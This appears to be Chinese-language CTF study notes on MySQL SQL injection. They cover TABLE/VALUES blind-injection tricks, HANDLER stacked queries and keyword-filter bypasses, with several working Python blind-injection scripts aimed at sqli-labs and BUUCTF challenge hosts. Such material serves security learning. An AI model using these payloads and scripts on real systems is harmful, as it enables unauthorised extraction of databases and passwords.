支持UNION联合查询、ORDER BY排序、LIMIT子句限制产生的行数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
mysql> table users;
+------+----------+--------------+
| id | username | password |
+------+----------+--------------+
| 1 | Dumb | Dumb |
| 2 | admin | admin |
| 3 | flag | this_is_flag |
+------+----------+--------------+
mysql> table users order by id limit 0,1;
+------+----------+----------+
| id | username | password |
+------+----------+----------+
| 1 | Dumb | Dumb |
+------+----------+----------+

与SELECT的区别:

1
2
1.TABLE始终显示表的所有列
2.TABLE不允许对行进行任意过滤,即TABLE 不支持任何WHERE子句

VALUES statement
作用:列出一行的值

1
2
3
4
5
6
7
8
9
10
VALUES row_constructor_list [ORDER BY column_designator] [LIMIT BY number]

row_constructor_list:
ROW(value_list)[, ROW(value_list)][, ...]

value_list:
value[, value][, ...]

column_designator:
column_index

VALUES是把一组一个或多个行作为表展示出来,返回的也是一个表数据。
ROW()返回的是一个行数据,VALUES将ROW()返回的行数据加上字段整理为一个表,然后展示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
mysql>  VALUES ROW(1, 2, 3);
+----------+----------+----------+
| column_0 | column_1 | column_2 |
+----------+----------+----------+
| 1 | 2 | 3 |
+----------+----------+----------+

mysql> VALUES ROW(1, 2, 3) UNION SELECT * FROM users;
+----------+----------+--------------+
| column_0 | column_1 | column_2 |
+----------+----------+--------------+
| 1 | 2 | 3 |
| 1 | Dumb | Dumb |
| 2 | admin | admin |
| 3 | flag | this_is_flag |
+----------+----------+--------------+

场景:select关键词被过滤,多语句无法使用

1.判断列数
由于TABLE命令和VALUES返回的都是表数据,它们所返回的数据可以通过UNION语句联合起来,当列数不对时会报错,根据这点可以判断列数

1
TABLE users union VALUES ROW(1,2,3);

2.使用values判断回显位

1
select * from users where id=-1 union values row(1,2,3);

3.列出所有数据库名

1
table information_schema.schemata;

4.盲注查询任意表中的内容

语句table users limit 1;的查询结果:

1
2
3
4
5
6
mysql>  table users limit 1;
+------+----------+----------+
| id | username | password |
+------+----------+----------+
| 1 | Dumb | Dumb |
+------+----------+----------+

实质上是(id, username, password)与(1, ‘Dumb’, ‘Dumb’)进行比较,比较顺序为自左向右,第一列(也就是第一个元组元素)判断正确再判断第二列(也就是第二个元组元素)。
两个元组第一个字符比大小,如果第一个字符相等就比第二个字符的大小,以此类推,最终结果即为元组的大小。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
mysql> select ((1,'','')<(table users limit 1));
+-----------------------------------+
| ((1,'','')<(table users limit 1)) |
+-----------------------------------+
| 1 |
+-----------------------------------+
1 row in set (0.00 sec)

mysql> select ((2,'','')<(table users limit 1));
+-----------------------------------+
| ((2,'','')<(table users limit 1)) |
+-----------------------------------+
| 0 |
+-----------------------------------+
1 row in set (0.00 sec)
mysql> select ((1,'Du','')<(table users limit 1));
+-------------------------------------+
| ((1,'Du','')<(table users limit 1)) |
+-------------------------------------+
| 1 |
+-------------------------------------+
1 row in set (0.00 sec)

mysql> select ((1,'Dum','')<(table users limit 1));
+--------------------------------------+
| ((1,'Dum','')<(table users limit 1)) |
+--------------------------------------+
| 1 |
+--------------------------------------+
1 row in set (0.00 sec)

mysql> select ((1,'Dumb','')<(table users limit 1));
+---------------------------------------+
| ((1,'Dumb','')<(table users limit 1)) |
+---------------------------------------+
| 1 |
+---------------------------------------+
1 row in set (0.00 sec)

mysql> select ((1,'Dumb','D')<(table users limit 1));
+----------------------------------------+
| ((1,'Dumb','D')<(table users limit 1)) |
+----------------------------------------+
| 1 |
+----------------------------------------+
1 row in set (0.00 sec)

需要注意的地方
1.当前判断的所在列的后一列需要用字符表示,不能用数字,否则判断到当前列的最后一个字符会判断不出!

2.最好用<=替换<,用<比较一开始并没有问题,但到最后一位时结果为正确字符的前一个字符,用<=结果更直观。

最终判断过程如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
mysql> select ((1,'Dumb','Dumb')<=(table users limit 1));
+--------------------------------------------+
| ((1,'Dumb','Dumb')<=(table users limit 1)) |
+--------------------------------------------+
| 1 |
+--------------------------------------------+
1 row in set (0.00 sec)

mysql> select ((1,'Dumb','Dumc')<=(table users limit 1));
+--------------------------------------------+
| ((1,'Dumb','Dumc')<=(table users limit 1)) |
+--------------------------------------------+
| 0 |
+--------------------------------------------+
1 row in set (0.00 sec)

例题:

1.判断列数
使用经典的order by语句判断:

1
2
1' order by 3--+   #正常
1' order by 4--+ #显示Unknown column '4' in 'order clause'

说明有3列

2.使用values判断回显位

1
-1' union values row(1,2,3)--+

3.爆库爆表爆字段爆数据
(1)爆当前数据库

1
2
-1' union values row(1,database(),3)--+
#或利用盲注1' and ascii(substr((database()),1,1))=115--+ 即s

(2)爆所有数据库
因为table不能像select控制列数,除非列数一样的表,不然都回显不出来。
需要使用table查询配合无列名盲注
information_schema.schemata表有6列
因为schemata表中的第一列是def,不需要判断,所以可以直接判断库名

1
2
3
4
5
6
1' and ('def','m','',4,5,6)<=(table information_schema.schemata limit 1)--+ #回显正常
1' and ('def','n','',4,5,6)<=(table information_schema.schemata limit 1)--+ #回显错误
#得到第1个数据库名的第一个字符为m
......
1' and ('def','mysql','',4,5,6)<=(table information_schema.schemata limit 1)--+ #回显正常
1' and ('def','mysqm','',4,5,6)<=(table information_schema.schemata limit 1)--+ #回显错误

说明第1个数据库名为mysql

1
2
3
4
1' and ('def','information_schema','',4,5,6)<=(table information_schema.schemata limit 1,1)--+ #回显正常
1' and ('def','information_schemb','',4,5,6)<=(table information_schema.schemata limit 1,1)--+ #回显错误
#说明第2个数据库名为information_schema
......

一直猜解,直到获得全部数据库名
(3)爆数据表
information_schema.tables表有21列

1
2
3
4
5
6
7
1' and ('def','security','users','',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21)<=(table information_schema.tables limit 317,1)--+ #第一个表users

1' and ('def','security','emails','',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21)<=(table information_schema.tables limit 318,1)--+ #第二个表emails

1' and ('def','security','uagents','',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21)<=(table information_schema.tables limit 319,1)--+ #第三个表uagents

1' and ('def','security','referers','',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21)<=(table information_schema.tables limit 320,1)--+ #第四个表referers

前两个字段都是确定的,可以写一个for循环判断,如果结果为真,代表从那行开始(这里是limit 317,1,即第318行),然后盲注第三个列。
(4)爆字段名
information_schema.columns表有22列
得到所有表名后开始判断字段名,找到columns表,具体方法和上面一样

1
2
3
4
5
1' and ('def','security','users','id','',6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22)<=(table information_schema.columns limit 3386,1)--+ #users表第一个字段为id

1' and ('def','security','users','password','',6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22)<=(table information_schema.columns limit 3387,1)--+ #users表,第二个字段为password

1' and ('def','security','users','username','',6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22)<=(table information_schema.columns limit 3388,1)--+ #users表,第三个字段为username

(3)爆数据

1
2
3
4
5
6
7
8
9
1' and (1,'D','')<=(table users limit 1)--+ #正常
1' and (1,'E','')<=(table users limit 1)--+ #错误

#table users limit 1也就是table users limit 0,1
#1' and (1,'D','')<=(table users limit 0,1)--+ #正常
#1' and (1,'E','')<=(table users limit 0,1)--+ #错误
......
1' and (1,'Dumb','Dumb')<=(table users limit 1)--+ #正常
1' and (1,'Dumb','Dumc')<=(table users limit 1)--+ #错误

得到第1个记录为1 Dumb Dumb

1
2
1' and (8,'admin','admin')<=(table users limit 7,1)--+ #正常
1' and (8,'admin','admio')<=(table users limit 7,1)--+ #错误

得到第8个记录为8 admin admin
一步一步注出数据

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
'''
@desc 本脚本是用于mysql 8新特性的sql注入

'''
import requests
import string

url = 'http://121.41.231.75:8002/Less-8/?id='
chars=string.ascii_letters+string.digits+"@{}_-?"

def current_db(url):
print("利用mysql8新特性或普通布尔盲注:\n1.新特性(联合查询) 2.普通布尔盲注")
print("请输入序号:",end='')
num = int(input())
if num == 1:
payload = "-1' union values row(1,database(),3)--+" #联合查询爆当前数据库(可修改)
urls = url + payload
r = requests.get(url=urls)
print(r.text)
else:
name=''
payload = "1' and ascii(substr((database()),{0},1))={1}--+" #布尔盲注爆当前数据库(可修改)
for i in range(1,40):
char=''
for j in chars:
payloads = payload.format(i,ord(j))
urls = url + payloads
r = requests.get(url=urls)
if "You are in" in r.text:
name += j
print(name)
char = j
break
if char == '':
break

def str2hex(name):
res = ''
for i in name:
res += hex(ord(i))
res = '0x' + res.replace('0x','')
return res

def dbs(url): #无列名盲注爆所有数据库(可修改)
while True:
print("请输入要爆第几个数据库,如:1,2等:",end='')
x = int(input())-1
num = str(x)
if x < 0:
break
payload = "1' and ('def',{},'',4,5,6)>(table information_schema.schemata limit "+num+",1)--+"
name = ''
for i in range(1,20):
hexchar = ''
for char in range(32, 126):
hexchar = str2hex(name + chr(char))
payloads = payload.format(hexchar)
#print(payloads)
urls = url + payloads
r = requests.get(url=urls)
if 'You are in' in r.text:
name += chr(char-1)
print(name)
break

def tables_n(url,database): #无列名盲注爆数据表开始行数(可修改)
payload = "1' and ('def','"+database+"','','',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21)<(table information_schema.tables limit {},1)--+"
for i in range(0,10000):
payloads = payload.format(i)
urls = url + payloads
r = requests.get(url=urls)
if 'You are in' in r.text:
char = chr(ord(database[-1])+1)
database = database[0:-1]+char
payld = "1' and ('def','"+database+"','','',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21)<(table information_schema.tables limit "+str(i)+",1)--+"
urls = url + payld
res = requests.get(url=urls)
#print(i)
if 'You are in' not in res.text:
print('从第',i,'行开始爆数据表') #判断开始行数
n = i
break
return n

def tables(url,database,n): #无列名盲注爆数据表(可修改)
while True:
print("请输入要爆第几个数据表,如:1,2等:",end='')
x = int(input())-1
num = str(x + n)
if x < 0:
break
payload = "1' and ('def','"+database+"',{},'',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21)>(table information_schema.tables limit "+num+",1)--+"
name = ''
for i in range(1,20):
hexchar = ''
for char in range(32, 126):
hexchar = str2hex(name + chr(char))
payloads = payload.format(hexchar)
#print(payloads)
urls = url + payloads
r = requests.get(url=urls)
if 'You are in' in r.text:
name += chr(char-1)
print(name)
break

def columns_n(url,database,table): #无列名盲注爆字段开始行数(可修改)
payload = "1' and ('def','"+database+"','"+table+"','',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22)<(table information_schema.columns limit {},1)--+"
for i in range(3000,10000):
payloads = payload.format(i)
urls = url + payloads
r = requests.get(url=urls)
if 'You are in' in r.text:
char = chr(ord(table[-1])+1)
table = table[0:-1]+char
payld = "1' and ('def','"+database+"','"+table+"','',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22)<(table information_schema.columns limit "+str(i)+",1)--+"
urls = url + payld
res = requests.get(url=urls)
#print(i)
if 'You are in' not in res.text:
print('从第',i,'行开始爆字段') #判断开始行数
n = i
break
return n

def columns(url,database,table,n): #无列名盲注爆字段值(可修改)
while True:
print("请输入要爆第几个字段,如:1,2等:",end='')
x = int(input())-1
num = str(x + n)
if x < 0:
break
payload = "1' and ('def','"+database+"','"+table+"',{},'',6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22)>(table information_schema.columns limit "+num+",1)--+"
name = ''
for i in range(1,20):
hexchar = ''
for char in range(32, 126):
hexchar = str2hex(name + chr(char))
payloads = payload.format(hexchar)
#print(payloads)
urls = url + payloads
r = requests.get(url=urls)
if 'You are in' in r.text:
name += chr(char-1)
print(name)
break

def datas(url,table): #无列名盲注爆数据(可修改)
while True:
print("请输入要爆第几个数据,如:1,2等:",end='')
x = int(input())
y = x-1
num = str(y)
if y < 0:
break
payload = "1' and ("+str(x)+",{},'')>(table "+table+" limit "+num+",1)--+"
name = ''
for i in range(1,20):
hexchar = ''
for char in range(32, 126):
hexchar = str2hex(name + chr(char))
payloads = payload.format(hexchar)
#print(payloads)
urls = url + payloads
r = requests.get(url=urls)
if 'You are in' in r.text:
name += chr(char-1)
print(name)
break

if __name__ == "__main__":
while True:
print("请输入要操作的内容:\n1.爆当前数据库\n2.爆数据表开始行号\n3.爆数据表\n4.爆字段值开始行号\n5.爆字段值\n6.爆数据\n7.爆所有数据库")
types = int(input())
if types == 1:
current_db(url)
elif types == 2 or types == 3:
print("请输入已经得到的数据库名:",end='')
database = input()
if types == 2:
tables_n(url,database)
elif types == 3:
print("爆数据表开始行号:",end='')
n = int(input())
tables(url,database,n)
elif types == 4 or types == 5:
print("请输入已经得到的数据库名:",end='')
database = input()
print("请输入已经得到的数据表名:",end='')
table = input()
if types == 4:
columns_n(url,database,table)
elif types == 5:
print("爆字段值开始行号:",end='')
n = int(input())
columns(url,database,table,n)
elif types == 6:
print("请输入要查询的数据表名:",end='')
table = input()
datas(url,table)
else:
dbs(url)

handler

mysql除可使用select查询表中的数据,也可使用handler语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler语句并不具备select语句的所有功能。它是mysql专用的语句,并没有包含到SQL标准中。
HANDLER语句提供通往表的直接通道的存储引擎接口,可以用于MyISAM和InnoDB表。
用法:

HANDLER tbl_name OPEN打开一张表,无返回结果,实际上我们在这里声明了一个名为tb1_name的句柄。
HANDLER tbl_name READ FIRST获取句柄的第一行,通过READ NEXT依次获取其它行。最后一行执行之后再执行NEXT会返回一个空的结果。
HANDLER tbl_name CLOSE来关闭打开的句柄。
最后

1
2
3
4
1';
handler FlagHere open;
handler FlagHere read first;
handler FlagHere close;#

异或布尔注入

异或是一种逻辑运算,运算法则简言之就是:两个条件相同(同真或同假)即为假(0),两个条件不同即为真(1),null与任何条件做异或运算都为null,如果从数学的角度理解就是,空集与任何集合的交集都为空。
mysql里异或运算符为^ 或者 xor

1
2
3
4
两个同为真的条件做异或,结果为假
两个同为假的条件做异或,结果为假
一个条件为真,一个条件为假,结果为真
null与任何条件(真、假、null)做异或,结果都为null

例题:
[Black Watch 入群题]Web

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import requests
flag=''
#查库名
payload1 = '1^(ascii(substr((select(database())),{},1))>{})^1' #库名为news
#查表名
payload2 = '1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=\'news\')),{},1))>{})^1' #表名为admin,contents
payload3 = '1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name=\'admin\')),{},1))>{})^1' #admin表里有id,username,password,is_enable
# contents表里有id,title,content,is_enable
#查字段值
payload4 = '1^(ascii(substr((select(group_concat(username,0x23,password))from(admin)),{},1))>{})^1'
for i in range(1,100):
low =28
high =137
mid = (low + high) // 2
while(low < high):
url = 'http://37d5f4b8-3812-4ccf-92da-27dc2a76321f.node3.buuoj.cn/backend/content_detail.php?id='
payload = payload4.format(i,mid)
url+=payload
#print(url)
r = requests.get(url)
text = str(r.json())
if "札师傅缺个女朋友" in text:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if(chr(mid)==''):
break
flag +=chr(mid)
print(flag)
print(flag)

sql注入绕过

过滤空格

1.使用注释符/**/绕过

1
SELECT/**/name/**/FROM/**/table

2.使用url编码绕过

1
%a0 发出去就是空格的意思,但是需要在burp中抓包后修改

3.使用浮点数绕过

1
2
3
select * from users where id=8E0union select 1,2,3
等价于
select * from users where id=8.0 select 1,2,3

4.使用Tab替代空格
5.使用两个空格替代一个空格
6.使用括号绕过
如果空格被过滤,括号没有被过滤,可以用括号绕过。 在MySQL中,括号是用来包围子查询的。因此,任何可以计算出结果的语句,都可以用括号包围起来。而括号的两端,可以没有多余的空格。

例如:

1
select(user())from dual where(1=1)and(2=2)

这种过滤方法常常用于time based盲注,例如:

1
?id=1%27and(sleep(ascii(mid(database()from(1)for(1)))=109))%23

过滤引号

使用16进制绕过
会使用到引号的地方一般是在最后的where子句中。如下面的一条sql语句,这条语句就是一个简单的用来查选得到users表中所有字段的一条语句:

1
select column_name  from information_schema.columns where table_name="users"

这个时候如果引号被过滤了,那么上面的where子句就无法使用了。那么遇到这样的问题就要使用十六进制来处理这个问题了。 users的十六进制的字符串是7573657273。那么最后的sql语句就变为了:

1
select column_name  from information_schema.columns where table_name=0x7573657273

过滤逗号

1.使用from关键字绕过
对于substr()和mid()这两个方法可以使用from to的方式来解决:

1
2
select substr(database() from 1 for 1);
select mid(database() from 1 for 1);

2.使用join关键字绕过

1
2
3
union select 1,2
等价于
union select * from (select 1)a join (select 2)b

3.使用like关键字绕过

1
2
select ascii(mid(user(),1,1))=80   #等价于
select user() like 'r%'

4.使用offset关键字绕过
对于limit可以使用offset来绕过:

1
2
3
select * from news limit 0,1
等价于
select * from news limit 1 offset 0

过滤注释符( # 和 – )

手动闭合引号,不使用注释符

1
id=1' union select 1,2,3||'1

或者:

1
id=1' union select 1,2,'3

过滤比较符号 ( < 和 > )

1.使用greatest()、least()函数绕过
greatest()、least():(前者返回最大值,后者返回最小值)

同样是在使用盲注的时候,在使用二分查找的时候需要使用到比较操作符来进行查找。如果无法使用比较操作符,那么就需要使用到greatest来进行绕过了

最常见的一个盲注的sql语句:

1
select * from users where id=1 and ascii(substr(database(),0,1))>64

此时如果比较操作符被过滤,上面的盲注语句则无法使用,那么就可以使用greatest来代替比较操作符了。greatest(n1,n2,n3,…)函数返回输入参数(n1,n2,n3,…)的最大值

那么上面的这条sql语句可以使用greatest变为如下的子句:

1
select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64
  1. 使用between and绕过
    between a and b:返回a,b之间的数据,不包含b。

过滤等号( = )

使用like 、rlike 、regexp 或者 使用< 或者 >

过滤union,select,where等

1.使用注释符绕过
常用注释符:

1
//、--、/**/、#、--+、---、;、%00、--a

用法:

1
U/**/ NION /**/ SE/**/ LECT /**/user,pwd from user

2.使用大小写绕过

1
id=-1'UnIoN/**/SeLeCT

3.使用内联注释绕过

1
id=-1'/*!UnIoN*/ SeLeCT 1,2,concat(/*!table_name*/) FrOM /*information_schema*/.tables /*!WHERE *//*!TaBlE_ScHeMa*/ like database()#

4.使用双关键字绕过(若删除掉第一个匹配的union就能绕过)

1
id=-1'UNIunionONSeLselectECT1,2,3–-

5.使用加号+拆解字符串

1
or 'swords' ='sw' +'ords' ;EXEC('IN' +'SERT INTO'+'…..' )

6.使用语法新特性绕过屏蔽select
在MySQL 8.0.19版本后,mysql推出了一些新特性,使我们可以不使用select就能够取数据

TABLE 语句
可以直接列出表的全部内容

1
TABLE table_name [ORDER BY column_name] [LIMIT number [OFFSET number]]

TABLE是MySQL 8.0.19中引入的DML语句,它返回命名表的行和列,类似于SELECT。
支持UNION联合查询、ORDER BY排序、LIMIT子句限制产生的行数。

如 select * from user 就可以用 table user 替代来进行绕过

VALUES 语句
可以列出一行的值

1
2
3
4
5
6
7
8
9
10
VALUES row_constructor_list [ORDER BY column_designator] [LIMIT BY number]

row_constructor_list:
ROW(value_list)[, ROW(value_list)][, ...]

value_list:
value[, value][, ...]

column_designator:
column_index

例如直接列出一行的值

1
VALUES ROW(1,2,3), ROW(4,5,6);

VALUES和TABLES语句的结果都是表数据,可以结合起来使用

其他

使用多语句的方式执行

1
2
3
set @a:=0x73656c656374202a2066726f6d2074657374;
prepare s from @a;
execute s;

https://lgf.im/posts/security/web-security/bypass-tech-for-sql-injection-keyword-filtering/

例题

[CISCN2019 总决赛 Day2 Web1]Easyweb

访问robots.txt,得知有bak备份
image.php.bak

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
include "config.php";

$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";

$id=addslashes($id);
$path=addslashes($path);

$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);

$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);

$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);

addslashes()函数,这个函数会把特殊的字符转义。

比如:单引号会被转义成’,斜杠会转义为.

第十行的str_replace会把”\0”,”%00”,”\‘“,”‘“中的任意一个替换成空。

我们可根据这个绕过当传入id=\0时,这样会被转义成\0,然后\0被替换为空,只剩下了一个\,这个反斜杠正好可以转义后面的查询语句中闭合id的单引号。

1
select * from images where id='\' or path=’+{$path}’

所以我们可以在path处注入我们的新语句,

由于没有查询结果回显,所以此处是盲注

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import requests
url = "http://18d42f36-2704-43a9-8690-b52a3c0a95e8.node3.buuoj.cn/image.php?id=\\0&path=or 1="
result = ""
last="tmp"
i=0
while( last != result ):
i=i+1
head=32
tail=127
while head < tail :
mid = ( head + tail ) >> 1
#payload = "if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database() ),%d,1))>%d,1,-1)%%23"%(i,mid)
#payload = "if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=0x7573657273 ),%d,1))>%d,1,-1)%%23"%(i,mid)
payload = "if(ascii(substr((select group_concat(password) from users),%d,1))>%d,1,-1)%%23"%(i,mid)
#print(url+payload)
r = requests.get(url+payload)
if b"JFIF" in r.content :
head = mid + 1
else:
tail = mid

last = result
if chr(head)!=' ' :
result += chr(head)
print(result)

可看此文章
https://www.cnblogs.com/Vinson404/p/7253255.html
参考文章:
史上最水的MYSQL注入总结:https://xz.aliyun.com/t/3992
sql注入总结: https://xz.aliyun.com/t/2869#toc-12
ctfwiki: https://ctf-wiki.github.io/ctf-wiki/web/sqli/#_13
一种新的MySQL下Update、Insert注入方法https://www.anquanke.com/post/id/85487
解析php sprintf函数漏洞 https://blog.csdn.net/WQ_BCJ/article/details/85057447

PHP sprintf格式化字符串漏洞 https://mp.weixin.qq.com/s/eEJPvbH7xwINjQvJGY_A_A
REGEXP注入与LIKE注入学习笔记https://xz.aliyun.com/t/8003